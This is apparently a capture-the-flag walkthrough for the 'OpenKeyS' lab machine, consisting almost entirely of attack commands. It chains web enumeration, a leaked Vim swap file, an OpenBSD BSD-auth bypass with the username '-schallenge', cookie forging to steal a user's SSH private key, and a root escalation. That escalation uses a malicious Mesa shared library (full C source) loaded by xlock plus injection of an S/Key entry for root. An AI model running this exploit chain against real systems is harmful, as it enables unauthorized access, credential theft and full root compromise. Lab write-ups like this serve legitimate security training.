OpenKeyS

Service fingerprint and HTTP banner grab.

$ nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGET

Add the vhost from the redirect to local resolution — the auth bypass later fails against the raw IP.

$ echo "$TARGET openkeys.htb" | sudo tee -a /etc/hosts

Enumerate web paths; discovers /includes/ listing and index.php.

$ ffuf -u http://openkeys.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.swp,.bak -mc 200,301,302,403

Confirm directory listing is enabled and auth.php.swp is visible.

$ curl -s http://openkeys.htb/includes/

Download the Vim swap file.

$ curl -o /tmp/auth.php.swp http://openkeys.htb/includes/auth.php.swp

Extract readable text; reveals PHP source, username jennifer, vhost openkeys.htb, and BSD-auth flow.

$ strings -a /tmp/auth.php.swp

Trigger the auth bypass; a 302 to sshkey.php in the Location header confirms success. Save cookies for subsequent requests.

$ curl -v -c /tmp/openkeys_cookies.txt -b /tmp/openkeys_cookies.txt -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x'

Replay the auth bypass with the forged jennifer cookie, then retrieve her private key from sshkey.php.

$ curl -s -c /tmp/openkeys_cookies.txt -b 'username=jennifer' -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x' && curl -s -b /tmp/openkeys_cookies.txt http://openkeys.htb/sshkey.php > /tmp/openkeys_sshkey_response.txt

Extract the private key block and set permissions required by SSH.

$ sed -n '/BEGIN OPENSSH/,/END OPENSSH/p' /tmp/openkeys_sshkey_response.txt > /tmp/jennifer_id_rsa && chmod 600 /tmp/jennifer_id_rsa

Authenticate using jennifer's stolen private key.

$ ssh -i /tmp/jennifer_id_rsa -o StrictHostKeyChecking=no jennifer@$TARGET

Confirm identity, OS version (must be 6.6 pre-patch for the privesc), and capture user flag (value: <user.txt>).

$ id && uname -a && cat ~/user.txt
uid=1001(jennifer) groups=1001(jennifer),0(wheel)

Verify the unpatched setgid-auth xlock and setuid-root chpass are present and dated Oct 2019.

$ ls -la /usr/X11R6/bin/xlock /usr/bin/chpass

Write the shared-library payload that creates a setgid-auth copy of /bin/sh when the constructor fires.

$ mkdir -p /tmp/expl && cat > /tmp/expl/swrast.c << 'EOF'
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void init() __attribute__((constructor));
static void init() {
    if (geteuid() == getuid()) return;
    char *argv[] = {"sh", "-c",
        "cp /bin/sh /tmp/sh2 && chgrp auth /tmp/sh2 && chmod g+s /tmp/sh2",
        NULL};
    execve(_PATH_BSHELL, argv, NULL);
}
EOF

Compile the malicious Mesa driver on the target (gcc is available on OpenBSD 6.6).

$ gcc -fpic -shared -nostdlib /tmp/expl/swrast.c -o /tmp/expl/swrast_dri.so

Trigger xlock to load the malicious library; constructor fires with auth group privileges.

$ env -i LIBGL_DRIVERS_PATH=/tmp/expl /usr/X11R6/bin/xlock

Spawn a shell retaining the auth group EGID; confirm egid=11(auth).

$ /tmp/sh2 -p && id

Confirm auth group write access to the S/Key database (directory is owned root:auth, mode 0750).

$ ls -la /etc/skey/

Inject a pre-computed S/Key MD5 OTP entry for root at sequence 99 with seed openkeys (from Qualys advisory PoC).

$ printf "otp-md5 99 openkeys\n$HASH\n" > /etc/skey/root

Authenticate as root using the passphrase matching the injected OTP; su accepts it via the S/Key auth style.

$ echo "$PASSWORD" | su -l root

Confirm uid=0(root) and capture the root flag (value: <root.txt>).

$ id && cat /root/root.txt
uid=0(root)